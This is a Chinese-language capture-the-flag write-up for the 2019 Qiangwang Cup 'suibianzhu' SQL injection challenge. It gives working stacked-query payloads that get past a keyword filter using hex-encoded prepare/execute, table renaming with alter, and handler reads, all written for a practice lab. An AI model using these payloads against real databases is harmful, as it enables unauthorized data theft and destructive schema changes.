CTF-强网杯2019随便注

[强网杯 2019]随便注

尝试语句闭合方式,输入1、1’、1’#判断,结果语句应该为单引号闭合。

再判断列1’ order by1,2,3…–+,发现到3时报错,所以列数位为2。

然后尝试联合注入,1’ union select 1,databases()# 。返回过滤提示。

Return preg_match(“/select|update|delete|drop|insert|where|./i”,$inject);

把select禁用了

转换大小写之后发现也不行,查询后multi_query()可以执行一条或多条sql语句

爆数据库 1’;show databases;#

1

数据库有了

查当前数据库的数据表1’;show tables;#

2

1’;show columns from words;# 查看words表的字段

1’;show columns from 1919810931114514;# 查看这个表的字段

当表名为数字时,需要用反引号

都没有爆出flag,我考虑看一下其他数据库1’;show database supersqli# 只有hahaha这个表,也没有信息,只好找其他办法,这时候重新回到前面查的words表和那个数字的表

这里有3种处理方法

第一种:可以进行二进制编码来绕过被过滤的关键字

将select * from 1919810931114514进行16进制编码

1’;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

解析:

prepare…from…是预处理语句,会进行编码转换。

execute用来执行由SQLPrepare创建的SQL语句。

SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。

第二种:重名名绕过(可利用alter语句与rename语句)

1’; rename table words to word1; rename table 1919810931114514 to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);#

解析:

通过 rename 先把 words 表改名为其他的表名。

把 1919810931114514 表的名字改为 words 。

给新 words 表添加新的列名 id ,并建立相关的约束。

将 flag 改名为 data 。

第三种:handler语句代替select查询

1’; handler 1919810931114514 open as a; handler a read next;#

解析加扩展:

handler 1919810931114514 open as a

#指定数据表进行载入并将返回句柄重命名

handler a read first; #读取指定表/句柄的首行数据

handler a read next; #读取指定表/句柄的下一行数据

handler yunensec close; #关闭句柄